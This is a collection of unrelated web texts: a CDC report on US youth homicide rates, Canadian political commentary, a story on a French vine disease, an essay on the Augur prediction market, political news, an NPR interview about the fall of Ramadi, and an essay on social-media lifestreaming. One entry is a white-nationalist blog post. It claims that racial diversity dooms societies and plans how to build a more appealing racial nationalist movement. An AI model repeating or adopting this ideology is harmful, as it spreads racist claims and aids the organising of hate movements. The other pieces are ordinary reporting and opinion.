The examination of homicide rates by race/ethnicity for the period 2000–2010 shows that rates for blacks aged 10–24 years remained the highest and rates for whites in this age group remained the lowest (Figure 3). Model-estimated rates indicate a decline for all four racial/ethnic groups. The decline in homicide rates for blacks was significantly slower than the declines for Hispanics and persons of other racial/ethnic groups (p<0.01). The decline for blacks also was slower than the decline for whites, but the difference was not significant. Model-estimated rates indicate a decline during 2000–2010 for both firearm and nonfirearm homicides, with the decline for the firearm homicide rate significantly slower than the decline for the nonfirearm homicide rate (p<0.01) (Figure 1).
Reported by
Corinne David-Ferdon, PhD, Linda L. Dahlberg, PhD, Div of Violence Prevention, Scott R. Kegler, PhD, Div of Analysis, Research, and Practice Integration, National Center for Injury Prevention and Control, CDC. Corresponding contributor: Corinne David-Ferdon, [email protected], 770-488-0542.
Editorial Note
For the past three decades, homicide has been a leading cause of death among adolescents and young adults in the United States. The findings in this report demonstrate that homicide rates among persons aged 10–24 years varied substantially over time but showed a decline from 1994 through 2010. Changes in the overall homicide rate for this age group during the 30-year study period primarily reflect variations in homicide rates for the groups at highest risk (i.e., males, persons aged 20–24, and blacks). These findings highlight the fact that despite an overall decline in homicide to a 30-year low in 2010, some adolescents and young adults remain disproportionately affected, and more recent declines in rates have been slower for those at increased risk for homicide. Overall, the findings of this report demonstrate that progress has been made in reducing homicide in these populations, but progress is slowing, and primary prevention of violence in these populations needs continued emphasis.
The variability of homicide rates among persons aged 10–24 years over time is similar to trends for other violent crime rates (3). Previous research has linked the rise and subsequent decline in homicide and violent crime in this population to changes in drug use and drug-related crime, shifting community demographics, community-based and problem-oriented policing (i.e., identification and analysis of a specific type of crime to develop customized, coordinated, and improved community response strategies), and varying economic conditions (4). Focused deterrence strategies specifically address serious violence and crime, and when implemented well, these strategies show promise in reducing crime though more rigorous evaluations are needed (5). Focused deterrence approaches vary in design and generally include an interagency coalition (e.g., law enforcement and social service providers), identification of crime perpetrator groups (e.g., gang members), communication of incentives (e.g., avoidance of incarceration and availability of education and employment services) to these groups to stop them from continuing to engage in violence, and law enforcement and social service organizations implementing activities (e.g., vocational training, mentoring, housing assistance, and substance use treatment) directed toward these groups.
Although law enforcement responses to violence and focused attention on high crime areas and perpetrators help to reduce the continuation of violence, they do not stop violence from happening in the first place. Research on youth violence demonstrates the importance of implementing primary prevention approaches that begin in childhood to disrupt the developmental pathways to serious violence in adolescence and adulthood and can be diffused across large populations (6,7). A number of primary prevention strategies are scientifically proven to reduce the risk for and occurrence of youth violence and provide critical complements to law enforcement approaches (6,7). Examples of primary prevention strategies include 1) school-based programs that build the communication skills of youths to nonviolently solve problems; 2) family approaches that help caregivers set age-appropriate rules and effectively monitor children's activities and relationships; and 3) policy, environmental, and structural approaches that enhance safety and increase opportunities for positive social interaction. For example, innovative community-level strategies, such as business improvement districts, address socioeconomic and other factors that influence rates of violence, and initial results show that these approaches contribute to significant reductions in rates of crime and violence and cost savings attributed to such reductions, fewer arrests, and lower prosecution-related expenditures (8). Many other prevention strategies have been shown to reduce the risk for youth violence and result in a significant return on investment (7).
The findings of this report are subject to at least two limitations. First, race and ethnicity were not coded separately until 1990, restricting examination of racial/ethnic group statistics and differences to the period 1990–2010. Second, comparisons of census self-report and death certificate reports of race and ethnicity show misclassification for Hispanics, Asian/Pacific Islanders, and American Indian/Alaska Natives, which might result in underestimation of rates for these groups (9).
Community-wide and long-lasting reductions in youth violence come from comprehensive approaches that include multiple evidence-based strategies and collaboration of diverse groups, such as public health, justice, education, businesses, and community groups (7). The public health sector brings to this collaboration a science-driven approach that focuses on primary prevention and promotion of population-wide health and safety. CDC's Academic Centers of Excellence in Youth Violence Prevention and the Striving To Prevent Youth Violence Everywhere national initiative are examples of collaborative approaches to strategically plan and implement comprehensive, evidence-based strategies that include the public health sector (10).
Acknowledgment
J. Lee Annest, PhD, Div of Analysis, Research, and Practice Integration, National Center for Injury Prevention and Control, CDC.
References
CDC. Web-based Injury Statistics Query and Reporting System (WISQARS). Atlanta, GA: US Department of Health and Human Services, CDC; 2013. Available at: http://www.cdc.gov/injury/wisqars/index.html. Murphy SL, Xu JQ, Kochanek KD. Deaths: final data for 2010. Natl Vital Stat Rep 2013;61(4). Federal Bureau of Investigation. Crime in the United States. Washington, DC: US Department of Justice, Federal Bureau of Investigation; 2013. Available at http://www.fbi.gov/about-us/cjis/ucr/ucr. Blumstein A, Wallman J (eds.). The crime drop in America, revised edition. New York, NY: Cambridge University Press; 2006. Braga AA, Weisburd DL. The effects of focused deterrence strategies on crime: a systematic review and meta-analysis of the empirical evidence. J Research in Crime Delinquency 2011;49:323–58. US Department of Health and Human Services. Youth violence: a report of the Surgeon General. Rockville, MD: US Department of Health and Human Services, CDC; Substance Abuse and Mental Health Services Administration, Center for Mental Health Services; National Institutes of Health, National Institute of Mental Health; 2001. Available at http://www.ncbi.nlm.nih.gov/books/nbk44294. CDC. Striving To Reduce Youth Violence Everywhere (STRYVE): the Centers for Disease Control and Prevention's national initiative to prevent youth violence foundational resource. Atlanta, GA: US Department of Health and Human Services, CDC; 2012. Available at http://www.cdc.gov/violenceprevention/pdf/stryve_foundational_resource-a.pdf. Cook PJ, MacDonald J. Public safety through private action: an economic assessment of BIDS. Economic J 2011;121:445–62. Arias E, Schauman WS, Eschbach K, Sorlie PD, Backlund E. The validity of race and Hispanic origin reporting on death certificates in the United States. Vital Health Stat 2008;2(148). CDC. Injury prevention and control: youth violence. Atlanta, GA: US Department of Health and Human Services; 2012. Available at http://www.cdc.gov/violenceprevention/youthviolence/index.html.
What is already known on this topic? Homicide consistently ranks in the top three leading causes of death among persons aged 10–24 years in the United States. What is added by this report? Youth homicide rates during 1981–2010 fluctuated widely over time but had a downward trend beginning in 1994. The 2010 youth homicide rate of 7.5 per 100,000 is the lowest rate in the 30 years examined. However, the decline in overall youth homicide rates has slowed in the last decade. Declines have been slower for the highest-risk groups (e.g., males and non-Hispanic blacks) and for firearm homicide. What are the implications for public health practice? The continued use of evidence-based, primary prevention strategies to stop youth violence is needed. The public health sector reaching the highest-risk youths with effective prevention strategies is particularly critical.
FIGURE 1. Firearm and nonfirearm homicide rates among persons aged 10–24 years — United States, 1981–2010 Alternate Text: The figure above shows firearm and non-firearm homicide rates among persons aged 10-24 years in the United States during 1981-2010. The overall homicide rate among persons aged 10-24 years varied substantially during the 30-year study period. Rates rose sharply from 1985 to 1993, increasing 83% from 8.7 per 100,000 in 1985 to 15.9 in 1993. From 1994 to 1999, the overall rate declined 41%, from 15.2 per 100,000 in 1994 to 8.9 in 1999.
FIGURE 2. Homicide rates among persons aged 10–24 years, by sex and age group — United States, 1981–2010 Alternate Text: The figure above shows homicide rates among persons aged 10-24 years, by sex and age group, in the United States during 1981-2010. Homicide rates for males remained substantially higher than rates for females during 2000-2010. When homicide rates were examined by age group, rates for persons aged 20-24 years remained highest, and rates for persons aged 10-14 years remained lowest. |
While Americans, dealing with a shutdown of their federal government, pine for our more sensible approach to federal government, Jonathan Kay says we should be thankful for the party discipline that rules our system. In considering the Throne Speech, Thomas Mulcair called for Senate abolition with his own allusion to the American system.
Harper is clinging to an old Conservative dream. He wants to radically change the way our system works. He wants to bring US-style gridlock into Canadian politics – two elected Houses blocking each other’s every move.
There are reasons to abolish our Senate and defend our party system, but let us not too casually drag our American friends into this discussion at what is not a great moment for them. Theirs is a system that is uniquely screwed up: by a lack of reasonable campaign finance restrictions, by gerrymandering, by the “silent filibuster” and by the “Hastert Rule.” (Or so it seems from the perspective of this casual viewer.) Americans could start calling for an end to their Senate or greater party discipline, but they might first try fixing the logistical and procedural factors that make it harder to maintain a functional system of governance. Or maybe they are simply experiencing what happens when one of the parties in a two-party system experiences a profound and messy existential crisis.
But, except on the most basic level, there’s not really a choice here. Or, put another way, we should refuse to choose between a lifeless legislature (with either an appended upper chamber of political appointees or no Senate at all) on the one hand and, on the other hand, insanity. We might just seek to impose a little bit more chaos on our system. Indeed, if the future of the election campaign is a tightly scripted roving infomercial, it might be imperative that we do so—that our MPs retake some of the autonomy that their U.S. counterparts now enjoy and that our legislature at least be a vital and interesting forum between those infomercials. It’s not that we should pine for our own version of Michele Bachmann, but that we should aspire for something more than competing teams of highly regimented sea animals.
As for the Senate, it is fair to wonder whether an elected upper chamber would result in a more dysfunctional Parliament. Any kind of fiddling with the system has ramifications. And so it would be interesting to know whether those who advocate for an elected Senate have any actual plan for preventing deadlocks or if they think we should be willing to accept them. |
by Mike Adams on July 10, 2011
Many conservatives exist who recognize, as do all people who study history, that diversity — of any form: racial, ethnic, religious, cultural, linguistic, even radical socioeconomic or average IQ leaps — is doomed to failure and brings down societies with it.
One of the major points of conflict in is between two different strategic groups: the Vanguardists or “White Nationalists,” who believe that the system is rotten, working in it is waste of time, and that it needs to be overthrown, and Conservatives, who believe we can still work within the system to reform it and achieve much greater results than the current Republicans (aka Establishment Conservatives).
These two groups tend to polarize through conflict with each other, and as a result, much drama is needlessly generated, time is wasted, and the participants look disorganized to potential supporters. The purpose of this entry is to explore the problems currently affecting White Nationalism, to analyze the viewpoints of the Vanguardists and Conservatives, and to combine the positive elements of both factions into a coherent and realistic solution. It will be divided into three parts.
Before I begin, it is necessary to discuss a major problem currently facing White Nationalism: White Nationalism itself. The only consensus reached within White Nationalism is over the obvious. Though it is comprised of a single racial group, it is still multiculturalism, and reaches no consensus in regard to economics, religion,  ethnicity, social issues, government structure and function, environmental issues, and so on.
This is all without factoring in the tension between Vanguardists and Conservatives. Calls for unity to end in-fighting and to direct ourselves as a mass toward workable goals are unrealistic- inevitably, counter-productive conflict will occur over at least one of the divisive areas and by its own design, White Nationalism fails to offer a solution. This leaves two choices:
Avoid discussing and taking a stance on any divisive issue. This entrenches White Nationalism as a reactionary ideology, thus limiting its appeal to its target audience. Argue endlessly over which combination works best. This prevents us from having any forward motion, and makes us look disorganized and unprofessional.
The results of either choice lead to oblivion. And when factoring in the conflict between Vanguardists and Conservatives, only more disorganization is created, and each side is further entrenched in their stances, potentially limiting the exchange of useful ideas.Thus, it seems reasonable to disband White Nationalism and rebuild it into something better: a racial nationalist movement which can both appeal to ordinary citizens and different ideological currents without becoming a bland, cultureless movement or an overly-divided mess. Part of doing so requires examining the Vanguardists and Conservatives.
Parts: 1 2 3
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French winemakers have demanded emergency funding to deal with an "incurable" grape disease which they fear could become as devastating as a 19th-century plague that almost destroyed the nation's vineyards.
The fungal disease, esca, has infected 13 per cent of France's vines this year, costing the industry more than €1 billion (£790 million).
It is transmitted by airborne fungi and the only known treatment, sodium arsenite, is banned because it is carcinogenic.
Once it is detected, vines have to be ripped up and burned. It stunts their growth and can cause them to wither and die rapidly.
Vineyard owners, many of whom were already struggling to make ends meet, are facing catastrophic extra costs because their yields have fallen drastically and they have been forced to plant new vines.
The resurgence of the disease, which dates from Roman times, was detected in mid-August on sauvignon vines in the Loire Valley. It has now spread elsewhere in France and has also been found in other European winemaking countries and California.
French wine industry leaders are urging the European Union and national governments to declare the fight against esca an international emergency and provide funding to step up research to find a cure or a preventive treatment.
"We're worried that it could spread like wildfire," said Guy Vasseur, head of the Permanent Assembly of France's Chambers of Agriculture.
Mr Vasseur called for action before the deadly fungus "becomes like phylloxera" – a tiny pest that ravaged vineyards across Europe and all but wiped out the French wine industry in what was known as the Great Wine Blight in the late 19th century.
"We've tried a lot of things but nothing has worked so far," he said.
"We haven't got a solution and all we can to is remove vines and plant new ones."
Some winemakers are so desperate that they have started playing music to their vines in the hope that it will make them resistant to the fungi that spread esca.
Scientists have suggested that "protein melodies", or "proteodies", may encourage growth and inhibit fungi. The idea is that as protein molecules form, they create a sound, and if that sound is replicated, plants will respond.
However, the practice has drawn comparisons with the folk remedies tried against phylloxera without success.
After pesticides and chemicals proved ineffective, growers resorted to burying toads under their vines to draw out the "poison". Some let their poultry roam free in the hope that they would eat the insects.
The epidemic was only curbed by grafting-on aphid-resistant American vines in a process known as "reconstitution" that had to be painstakingly applied to the majority of France's vineyards.
Mr Vasseur acknowledged that the EU was already funding some research and local authorities in France have been helping winegrowers finance replanting, but he said more needed to be done.
"We've got to work out how how to deal with this. It's potentially more serious than people seem to realise," he said.
But he added that French producers were determined not to pass on the costs to consumers to prevent wine-drinkers turning to Australian or South African wines instead.
"The 2014 sauvignon wines like Sancerre and Pouilly Fumé are very good and we will keep up supplies," Mr Vasseur said.
Michel Badier, the head of wine at the Loir-et-Cher chamber of agriculture, believes the disease will be contained and will probably not affect more than 15 per cent of vines. "But even that is relatively enormous," he said.
The French wine and spirits industry is worth more than €13 billion (£10.2 billion) a year.
Lifting the ban on sodium arsenite has been ruled out on health grounds. "The problem is that because sodium arsenite worked, there was no research for years on an alternative," Mr Badier said. |
Augur’s purpose is to democratize and decentralize finance. We’ll do this by enabling anyone, anywhere, at anytime in the world to create and speculate on derivatives at a low cost for the first time. If Bitcoin gave us decentralized currency and Ethereum brought decentralized computation, Augur will enable a decentralized financial system. We have cryptocurrency, now we need something to use it with. As a side bonus, prediction markets give us better forecasts for the future, more direct hedging and speculation mechanisms, and finally fulfill the vision set out by Hayek[¹] and Arrow & Debreu[²] long ago.
The first version of Augur will likely be somewhat slow and slightly expensive (think pennies and many seconds per trade), but it’ll certainly be a beautiful glimpse of what’s to come. Any new technology has higher costs in the beginning and lower costs once it’s more optimized later on. The long term plan is to overtake all derivatives trading though liquidity and network effects, although in the beginning these limitations mean the first markets and activity on Augur will be surrounding new markets or markets that are currently expensive or limited in certain ways. Think Chinese and Russian investors wanting to speculate on US stocks, or vice versa, people wanting to speculate on sporting events more cheaply, or people who just want to create a new market for something that doesn’t exist at the moment due to multi-million dollar startup costs for creating a new financial derivative. With augur we can remove that million and drop the cost down to “multi dollar.”
Since it’s run on Ethereum, it cuts out the middlemen and brings costs down to the economic minimum to operate things securely. On Betfair you’re paying 10%+ fees, on Augur it’ll likely be 1% or less. For the first time people will be able to trade on a censorship resistant, global trading platform without having to trust counter-parties. Liquidity will be truly global because Ethereum doesn’t care if you are from China or the US or Russia, you’re just a pseudonymous address.
Futures contracts will resolve without trusted third parties, but instead with a security model similar to Bitcoin or Ethereum themselves (vulnerable to 51% attacks, but always forkable in the event of one). In Augur’s case a fork is much more clear cut because it’s over reality, people won’t want to trade or make markets on a platform where it says Obama lost the 2012 US Presidential election. People will even be able to use leverage (using scalar markets on Augur you can effectively get leverage). For example, a market on the price of Apple with a range of 150 to 250 is more levered than one from 0 to 300. Leverage is when for every dollar you bet your position is equivalent to some lever ratio, so 3–1 leverage means for every dollar your position goes up or down you actually lose 3 or gain 3 dollars. This is in contrast to margin, which is when you are borrowing money or shares to buy or sell. Margin with margin calls is functionally almost the same as leverage in practice.
Once 0x is out later this year or next faster trades and dark pools will be possible. 0x enables partially off chain trading so people can create, modify, and cancel orders quickly without having to post a transaction to Ethereum each time. This’ll also decrease costs for placing and taking orders in general. Dark pools being a desirable thing may come as a surprise, but big whales aren’t going to want to be moving the market by placing super large orders on the book, they’ll prefer dark pools just as they do in traditional financial markets. Proof of stake will help with faster trades as well since block times will decrease by about a factor of 3.
While the initial version of Augur will have markets denominated in ETH (which although that’ll work fine for short term trading / markets), for longer time horizon events the volatility will be too high. You don’t want to go long “Apple” on Augur, be right about the company, and end up losing money due to Ether volatility. The solution to this is to allow markets to be denominated in stablecoins, or cryptocurrencies that are stable with respect to the dollar or other fiat money. Makerdao is working on stablecoins, and we do actually also get part of this to some degree out of the box. On Augur you can make a market speculating on the price of ETH in USD denominated in Ether as a way to get a rough stablecoin where one side is levered long ETH and one is short ETH but long USD. Since the collateral/currency it’s denominated in is in ETH the short side is effectively the stablecoin and the long side is effectively levered ether. If Maker is out by then and live it’ll likely be a superior option though.
We’ll also need to add the capability for automatic rollovers via an additional contract; I wrote a high level interface for a contract to do this the other day. The idea behind automatic rollovers is when you’re speculating on a prediction market, say an ETH-USD one, they have expiration dates like futures markets, so you can’t just buy one side and hold indefinitely. An automatic rollover contract would buy perhaps the “What will ETH be at the end of June?” contract. When June is over it’d sell the complete sets for June and take the remaining funds and buy complete sets for the July contract. People would actually be buying shares in this pseudo-ETF that always owned the current month ETH price market and automatically rolled over by selling the last month’s positions each month. This would enable users to just buy one asset and hold instead of having to exit each month and buy back in manually. Compared to regular futures contract rollovers, with this type people would just be paying the complete set fees, but not losing any money due to market movements from exiting and entering a position. Based on some napkin cloth math, they’d likely be a better deal, and certainly no worse than existing futures ETF tracking error (some of the top oil ETFs over the past year had a 75% cost compared to spot price returns, crazy)!
The main remaining piece of the puzzle is to enable more transactions per second, which means using sharding and/or raiden. This is probably the hardest and furthest off. My estimates for the various pieces that’ll help with it:
— Proof of stake (about 1 year and perhaps a 3x improvement)
— Wasm (2 years and a 10x improvement due to much more efficient and faster contract execution times)
— Sharding (3–5 years is my estimate and a 100x improvement)
— Raiden (1.5–3 years and a 1000x improvement)
Once we have it though, we’ll finally have a system that could take over all of the world’s derivatives markets, and that’s pretty damn powerful. |
Wis. Gov. Scott Walker Accused Of Illegal Fundraising
Enlarge this image toggle caption Jeffrey Phelps/AP Jeffrey Phelps/AP
Prosecutors believe that Wisconsin Gov. Scott Walker was at the center of a "criminal scheme" to illegally coordinate fundraising with outside conservative groups in violation of state law.
The Associated Press reports that "documents were filed as part of an ongoing lawsuit challenging the probe by the conservative group Wisconsin Club for Growth. They were ordered publicly released Thursday by a federal appeals court judge after prosecutors and the Wisconsin Club for Growth did not object."
The Wisconsin State Journal reports that prosecutors say Walker and others sought to circumvent state campaign finance and election laws:
"They said the coordinated effort involved conservative groups, Walker, his campaign and top allies of the governor, including [Walker campaign adviser and Wisconsin Club for Growth spokesman] R.J. Johnson and Deborah Jordahl. "The prosecutors allege that Walker and those allies raised money and coordinated spending with about a dozen conservative groups during the recall elections [of 2011 and 2012]. "They cite a May 2011 email from Walker to prominent national GOP strategist Karl Rove saying that Johnson would lead the coordination. " 'Bottom-line: R.J. helps keep in place a team that is wildly successful in Wisconsin. We are running 9 recall elections and it will be like 9 congressional markets in every market in the state (and Twin Cities),' Walker wrote to Rove on May 4, 2011, the documents say."
In February, Club for Growth filed a federal lawsuit hoping to derail the investigation, which at the time was thought to involve Walker.
"The scope of the criminal scheme under investigation is expansive," lead investigator Francis Schmitz wrote in the Dec. 9 court filing. "It includes criminal violations of multiple elections laws" including filing false campaign reports, he wrote, according to the AP.
By way of background, the AP writes: |
Harvard University plans to honor former DNC Interim Chair and Vice Chair Donna Brazile with the W.E.B. Du Bois Medal, which is awarded to individuals who “have made significant contributions to African and African American history and culture, and more broadly individuals who advocate for intercultural understanding and human rights in an increasingly global and interconnected world.” She is scheduled to receive the award on October 4. However, Harvard has yet to release a statement explaining the reason for Brazile’s recognition, especially given that her brief tenure at the DNC was rife with scandal.
During the 2016 election, CNN fired Brazile after emails released by Wikileaks revealed that she provided debate questions to the Clinton campaign, a clear violation of the rules. The emails also showed that Brazile tipped off the Clinton campaign to a Bernie Sanders social media outreach effort. In a 2014 interview with The Washington Post, Brazile stated that she would not behave in a neutral fashion, despite the DNC Charter obligating her to do so. “Technically, I’m neutral, but neutrality is something that gets you in trouble because you ever notice someone who stands on the white line in the middle of the road? They get run over. And I don’t want to get run over. So, I’m not neutral. I have to tell people that I’m neutral, but I’m ready for Hillary,” she said. In 2013, Brazile stated in an interview with ABC News that if Clinton ran for president “there will be a coronation of her.”
Because of this record, Brazile did not run for DNC chair this year, but the organization has continued to reward her for her loyalty. Based on 2017 filings up until July 31, the DNC has paid her and her consulting firm over $130,000 for salary, management consulting, travel, and postage and shipping. Brazile, through the DNC, sent fundraising emails to party supporters as recently as August 31. “I need you to say you’re with us to elect more Democrats who will fight for equality. If you are, chip in $3 or more before tonight’s deadline,” one of the emails read.
Given that her outright support of Hillary Clinton splintered the party and angered progressives, that she is allowed to participate in the DNC is reflective of the organization’s pro-establishment slant. The Democratic Party has reaped no benefits from Donna Brazile, whose tenure fighting for the status quo has been marked by numerous missteps. That one of America’s most elite universities is rewarding her further obstructs the Democratic Party’s chances for reform, just when it needs it the most. |
Thousands Who Run, Few Who Fight: A Journalist On Ramadi's Fall
Enlarge this image toggle caption AP AP
More than a week ago, the Iraqi city of Ramadi, in Anbar province, was taken by the self-declared Islamic State.
The fall of that key city wasn't just a setback for Iraq: It was also a blow to the current U.S. strategy of trying to contain ISIS through air strikes.
Iraqi soldiers and Shiite militias allied with the Iraqi government continue to move against ISIS in Anbar Province. The battles bring back American memories. Some of the fiercest fighting in the Iraq War ocurred there, and many Americans died trying to win back the city of Ramadi from Sunni insurgents.
Photojournalist Ayman Oghanna was in Ramadi, embedded with Iraqi special forces just 48 hours before the city fell. He spoke with NPR's Scott Simon about what he saw on the ground.
Enlarge this image toggle caption Courtesy of Ayman Oghanna Courtesy of Ayman Oghanna
Scott Simon: U.S. Secretary of Defense [Ash] Carter said last weekend that Iraqi forces in Ramadi ... had "no will to fight." Was that your impression?
Ayman Oghanna: No, that's totally false. The unit I was embedded with, the Golden Division, were Iraq special forces, and they were the most capable, disciplined military organization in the history of the modern Iraqi state. And in many ways they were failed perhaps more by America's strategy than by their own will to fight. ...
When the so-called Islamic State had its offensive through Iraq last year, the regular Iraqi army and police crumbed and melted away. In their place, the only effective fighting force, and the fighting force that was closest to the United States, was the Golden Division and ISOF, Iraqi Special Forces, set up by the U.S. Special Forces.
But you have to understand that a Special Forces unit is meant to do certain things. They are guys you want to use for precision offensive operations, like, you know, helicoptering into Syria and taking some guy out. But since the Iraqi army crumbled they were basically forced to do the job of the entire military. And that included being spread very thinly over a huge area, holding defensive positions against ISIS. When I was on the ground with them they complained about a lack of U.S. air strikes. And when I was there I did not see many air strikes.
"A Special Forces unit is meant to do certain things. They are guys you want to use for precision offensive operations. ... But since the Iraqi army crumbled they were basically forced to do the job of the entire military."
There have been numerous press accounts that suggested that Iraqi forces had, by some estimates, a 10-to-1 advantage over ISIS.
The numbers, at this point, are irrelevant. The numbers that matter ... who are the numbers that are going to stay there and fight ISIS? And from the beginning there might be however many thousand policeman and Army, but they are not to be trusted. Every time that they have been faced with an ISIS offensive they have fled.
And the only people who remained behind were Iraq's Golden Division — the ISOF, their Special Forces. And their numbers are far smaller.
So at the strategic level, advice you might proffer to U.S. forces would be to increase the number of air strikes? Or what, exactly?
It's all very well for there now to be a debate in the United States about what level of support we need to provide our partners on the ground. But this was a conversation and a debate that should have happened a year ago. We haven't really done much, militarily, to support our partners — Iran has.
And maybe, sure, we have a debate and 12 months from now, we say, "Let's commit 10,000 U.S. Army Rangers and Special Forces on the ground to help our allies," but at that point the Iraqis might be like, "No, actually ... the Iranians [have] taken care of everything for us."
You're probably familiar enough with the U.S. policy debate to know that for a lot of Americans, priority No. 1. is, "No American boots on the ground."
Why?
Well, because a lot of Americans feel that enough Americans have died for Iraq already.
Died for what?
I think a lot of American servicemen and their families who lost lives and comrades in Iraq are feeling pretty disappointed that we're pulling out and almost letting them die in vain by not following through.
I mean, make no mistake, we are at war with the so-called Islamic State. Even if you don't think so, the Islamic State thinks that it's at war with us. And it wants to strike us everywhere it can. Inside America, inside Europe. And so we either fight them in Syria and Iraq, or we fight them somewhere else. |
Social Media Is Making Us Anxious and Paranoid
So why can’t we stop using it?
alicetiara Blocked Unblock Follow Following Nov 26, 2013
The 2009 documentary We Live in Public told the story of Josh Harris, a late-1990s dot-com millionaire who funneled his considerable fortune into what he considered the future: people broadcasting their lives via internet-enabled closed-circuit television. Harris founded an internet television network with channels like “88 Hip Hop” and “Cherrybomb,” but streaming technology was limited at that point, and only allowed for choppy, frame-by-frame video.
When his internet TV venture failed, Harris built an underground bunker in Manhattan, filled it with television screens and cameras, and invited a collection of scenesters and technologists to move in. The bunker also included a shooting range, random cross-examination of participants, and plenty of recreational substances. (This experiment quickly devolved; the combination of drugs, alcohol, guns, and CIA-influenced interrogation techniques did not produce positive results.)
Finally, Harris and his girlfriend fitted out their apartment with cameras, including one in the toilet, that broadcast to the web twenty-four hours a day, seven days a week. The website weliveinpublic.com included a forum where viewers could weigh in on the couple’s activities and arguments. The relationship, unsurprisingly, did not last.
Smith was eccentric, but his vision of the future has come to pass for a sliver of the population, especially in tech culture. Reality television, Skype, FaceTime, Twitter, Nike+, GPS-enabled cell phones, Instagram, Facebook, Spotify, YouTube, and hundreds of other media have popularized the capturing and broadcasting of personal information to large, networked audiences. While most of us don’t live in apartments with bathroom cams, many of us have tablets or smartphones that make it simple to upload photos and micro-blog entries. The Pew Internet and American Life Project found that 88 percent of American adults own cell phones, and of those who do, more than half use their phone to go online. Of the 44 percent of adults with a smartphone, 90 percent access the mobile internet.
The influence of always-on internet has been rapid and significant. Texting, Facebook, and Twitter are used by teens to remain in nearly constant contact with friends, creating strong bonds of intimacy and togetherness. Celebrities use Twitter to stay in touch with fans by strategically revealing insider information. The technologists who I studied intentionally reached out to followers to increase their visibility and social capital in the scene.
In my research I have found that social software may inadvertently promote inequality rather than countering it. Metrics, like follower count or number of “likes” on a photo, facilitate this process by rendering social status into something that can be quantified, qualified, and publicized. The process of what I call “digital instantiation” works similarly toward quantification, qualification, and publicity by rendering users’ lives in piecemeal fashion, unintentionally creating a whole that is larger than the sum of its parts. Social media tools digitize formerly ephemeral pieces of information, like what one had for breakfast, making it possible to create a bigger picture of a person or community’s actions. Once “breakfast” is captured in a Foursquare check-in or Instagram photo, it can be combined, searched, or aggregated with other pieces of information to create mental models of actions, beliefs, and activities. Within this context, social surveillance, or the monitoring of friends’ and peers’ digital information, becomes normal.
While lifestreaming has plenty of social and emotional benefits, it also comes with costs. Lifestreamers must see themselves through the gaze of others, altering their behavior as needed to maintain their desired self-presentation. This constant monitoring against the backdrop of a networked audience creates anxiety and encourages jockeying for status, even as it brings forth new forms of social information.
Looking at lifestreaming as something a community does makes it possible to evaluate information disclosure beyond platitudes about privacy. In a social context where your peers expect you to share information with them, it’s obvious that sharing has nothing to do with whether you care about privacy or not.
Rather than looking at social media use as an intrinsic privacy violation, lifestreaming needs to be understood as an act of publicity. Lifestreaming can be used to publicize knowledge; to gain emotional benefits, social capital, and information; or to shore up support in an argument, but it is rarely used as a way to disregard or eliminate privacy. Most lifestreamers have sophisticated understandings of what they would or would not share online. They balance their need for publicity with their desire to control their own online image. The necessity of presenting an edited self to the world requires a careful understanding of the risks and benefits of information sharing.
The networked audience
The audience is a key part of lifestreaming, because lifestreaming without an audience is just “tracking.” Lifestreaming involves broadcasting personal data to other people, whether this is anyone with an internet connection, or a filtered subgroup of readers. In a social group of lifestreamers, people place themselves as part of a networked audience in which participants are both sender and receiver. Looking at the collective lifestreams of a group shows that players constantly reference each other, revealing a coherent picture of social actions and connections within a community.
Almost all the people of the tech community I studied contribute to their own lifestream. These lifestreams make up the Twitter stream of people one follows, or the Facebook News Feed of one’s friends. Thus as each person lifestreams a piece of content, they are simultaneously reading the content of others, commenting on it, and adding it to their mental picture of the scene. Audience members watch each other’s actions by consuming their content, and by doing so formulate a view of what is normal, accepted, or unaccepted in the community. This understanding of audience creates an internalized gaze that reflects community norms. Members of the tech scene imagine how the audience will view their own lifestreamed self-presentation, and alter it accordingly. Monitoring of oneself and others thus becomes an expected and normative part of this social interaction.
I use the term “audience” rather than “public” when describing viewers of a piece of digital content (as in “this picture is public”). “Audience” can refer to the audience one imagines while texting or posting a photo, the actual audience, or the potential audience for one’s content. But while “potential audience” resembles the vernacular sense of “public,” “audience” here means the actual audience, the people interested in a piece of information who actually view it. Just as media professionals do not use the term “public” for people watching a movie or TV show, we should not use it for digital content.
The use of audience also implies performance, because a lot of digital content is created with impression management in mind. While it is never possible to determine who exactly has or has not viewed something online, because the actual audience may be very different from what a creator imagines, keeping in mind the difference between publicity done for an audience and information made public will help us to understand some of the social dynamics I describe.
The networked audience is distinct from the broadcast audience in that the networked audience is connected. The tech scene is a superlative example of the networked audience, because the social element is articulated both on and offline. Unlike many online communities where a small percentage of people create most of the content, people in the tech scene act as both content producers and consumers to maintain status and intimate ties with the community. Lifestreamers read others’ lifestreams and create content with their audience in mind. Their online and offline lives are intrinsically interwoven, meaning that nonparticipation has real social costs.
The networked audience is distinct from the networked public, which internet scholar danah boyd defines as the social space created by technologies like social network sites and the imagined community that thrives in this space. While it is possible to describe a single site like Twitter as a networked public (although I would not do so), the term networked audience is more appropriate for lifestreaming. “Networked public” implies a set of people communicating through a single technology (MySpace, Usenet, World of Warcraft, and so on), while the networked audience moves across sites. The concept of audience implies a specific set of people interested enough to view digital content rather than an amorphous mass of potential readers. Given these properties, what does lifestreaming look like in a social group that uses social media intensively?
Lifestreaming in practice
Lifestreaming is a normal part of the technology scene. People expect their friends to be familiar with the latest social media applications and to connect and engage using blogs, Twitter, and Facebook. As Auren Hoffman, CEO of the reputation management firm RapLeaf, stated in our interview: “If you were an employer, and someone applied and they didn’t have any activity on social networks and that person was 23 years old, you’d think they were the Unabomber. You would be really scared to meet this person without even a bodyguard. I don’t even know if that person exists.”
To people like Hoffman, who are intimately familiar with social technology, not using social media marked unsophistication and backwardness. In Hoffman’s view, the relationship of employer and worker requires the familiarity of common social ties and community involvement; nonparticipation would not only make it difficult to contribute to social and technological conversations, but also potentially limit one’s economic mobility.
Consequently, most people I knew during this period used microblogging technologies, such as Facebook, Pownce, Twitter, and FriendFeed, to lifestream media consumption, location, digital pictures and videos, and the flotsam and jetsam of everyday life. The availability of these streams to an audience varied by individual and service, from entirely publicly accessible Twitter accounts to password-protected digital files. Lifestreaming ranged from piecemeal aggregation like FriendFeed, a trendy piece of software that pulled in dozens of data streams to create a semi-comprehensive picture of what friends were doing across the internet, to personal blogs that dynamically aggregated day-to-day doings. While I did meet people in the technology scene who used social media specifically to track personal data for self-improvement, they were a minority.
